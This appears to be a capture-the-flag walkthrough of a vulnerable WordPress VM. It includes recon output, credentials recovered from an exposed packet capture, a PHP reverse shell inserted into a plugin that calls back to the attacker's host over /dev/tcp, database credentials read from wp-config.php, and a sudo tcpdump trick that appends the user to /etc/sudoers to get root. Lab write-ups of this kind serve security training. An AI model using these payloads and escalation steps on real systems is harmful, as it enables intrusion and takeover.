

```

(kali㉿kali)-[~]
$ nmap -A 192.168.1.134
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-13 16:49 WEST
Nmap scan report for 192.168.1.134
Host is up (0.00058s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
|   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_ 256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp    open  http      Apache httpd 2.4.29 ((Ubuntu))
|_ http-generator: WordPress 4.9.8
|_ http-server-header: Apache/2.4.29 (Ubuntu)
|_ http-title: Example site &#8211; Just another WordPress site
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds

```

Okay, one wordpress website
From **wpscan**:

```

WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
Found By: Rss Generator (Passive Detection)
- http://192.168.1.134/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>
- http://192.168.1.134/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>

```

https://github.com/brianwrf/WordPress_4.9.8_RCE_POC

This seems like exploit 0 from here.

msf6 > search wordpress 4.9

Matching Modules

#	Name
0	exploit/multi/http/wp_crop_rce
1	exploit/unix/webapp/wp_infinetwp_auth_bypass

Type	Username	Rank	Password	Description
Disclosure Date	Rank	Check		
mysql	root	excellent	Yes	WordPress Crop-image Shell Upload
wordpress	admin	manual	Yes	WordPress InfiniteWP Client Authentication Bypass

But we can't proceed because it requires credentials.

How did I miss this? We have a username!

webdeveloper

AUTHOR: WEBDEVELOPER

OCTOBER 30, 2018

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

But still nothing more. Dead end. Let's try dirbuster and dirb

```
(kali㉿kali)~[~]
$ dirb http://192.168.1.134:80/ -r

_____|_____|
DIRB v2.22
By The Dark Raver
_____|_____|

START_TIME: Thu May 13 17:29:29 2021
URL_BASE: http://192.168.1.134:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

_____|_____|

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.1.134:80/ ——
+ http://192.168.1.134:80/index.php (CODE:301|SIZE:0)
=> DIRECTORY: http://192.168.1.134:80/ipdata/
```

Oh nice, **/ipdata/**

Just one file present, **analyze.cap**

The password is good but come on bro you're a web dev don't leave that file in the open like that... From wireshark:

webdeveloper:Te5eQg&4sBS!Yr\$)wf%(DcAd

```
▼ HTML Form URL Encoded: application/x-www-form-urlencoded
  ▶ Form item: "log" = "webdeveloper"
  ▶ Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
```

I can go back and use that metasploit exploit. But it is not working for some reason
Let's try to come up with something via the wp-admin panel

Adding this line to a plugin's file

```
Edit Plugins

Editing hello.php (inactive)

Selected file content:

1 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.133/1337 0>&1'"); ?>
2 <?php
```

And browsing to its location gives me a reverse shell

```
(kali㉿kali)~[~]
$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.1.133] from (UNKNOWN) [192.168.1.134] 36052
bash: cannot set terminal process group (12633): Inappropriate ioctl for device
bash: no job control in this shell
www-data@webdeveloper:/var/www/html/wp-content/plugins$

www-data@webdeveloper:/var/www/html/wp-content/plugins$

www-data@webdeveloper:/var/www/html/wp-content/plugins$ |
```

Inside **wp-config.php**

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'webdeveloper');

/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');
```

It works as ssh

webdeveloper:MasterOfTheUniverse

Sudo -I shows we have sudo permissions for **tcpdump**

```
(kali㉿kali)-[~]
$ ssh webdeveloper@192.168.1.134
webdeveloper@192.168.1.134's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Thu May 13 17:49:04 UTC 2021

System load:  0.5          Processes:           128
Usage of /:   27.1% of 19.56GB   Users logged in:   0
Memory usage: 59%          IP address for eth0: 192.168.1.134
Swap usage:  11%

 * Security certifications for Ubuntu!
   We now have FIPS, STIG, CC and a CIS Benchmark.

   - http://bit.ly/Security_Certification

 * Want to make a highly secure kiosk, smart display or touchscreen?
   Here's a step-by-step tutorial for a rainy weekend, or a startup.

   - https://bit.ly/secure-kiosk

133 packages can be updated.
5 updates are security updates.

*** System restart required ***
Last login: Tue Oct 30 09:25:27 2018 from 192.168.1.114
webdeveloper@webdeveloper:~$
```

```
webdeveloper@webdeveloper:~$ sudo -l
Matching Defaults entries for webdeveloper on webdeveloper:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
  (root) /usr/sbin/tcpdump
```

This will help <https://gtfobins.github.io/gtfobins/tcpdump/> . Some stuff had to be altered

```
webdeveloper@webdeveloper:~$ COMMAND='echo "webdeveloper ALL=(ALL:ALL) ALL" >> /etc/sudoers'
webdeveloper@webdeveloper:~$ TF=$(mktemp)
webdeveloper@webdeveloper:~$ echo "$COMMAND" > $TF
webdeveloper@webdeveloper:~$ chmod +x $TF
webdeveloper@webdeveloper:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:~$ sudo -l
Matching Defaults entries for webdeveloper on webdeveloper:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
  (root) /usr/sbin/tcpdump
  (ALL : ALL) ALL
webdeveloper@webdeveloper:~$
```

I can simply do this now

```
webdeveloper@webdeveloper:~$ sudo su root
root@webdeveloper:/home/webdeveloper# whoami
root
root@webdeveloper:/home/webdeveloper# |
```

```
root@webdeveloper:/# cd root
root@webdeveloper:~# ls -alh
total 56K
drwx-----  5 root root 4.0K Oct 30  2018 .
drwxr-xr-x 23 root root 4.0K May 13 16:07 ..
-rw-----  1 root root  77 Nov  2  2018 .bash_history
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
drwx-----  2 root root 4.0K Oct 30  2018 .cache
-rw-r--r--  1 root root  77 Oct 30  2018 flag.txt
drwx-----  3 root root 4.0K Oct 30  2018 .gnupg
-rw-----  1 root root  247 Oct 30  2018 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-----  1 root root   7 Oct 30  2018 .python_history
drwx-----  2 root root 4.0K Oct 30  2018 .ssh
-rw-----  1 root root 9.7K Oct 30  2018 .viminfo
root@webdeveloper:~# cat flag.txt
Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
root@webdeveloper:~# |
```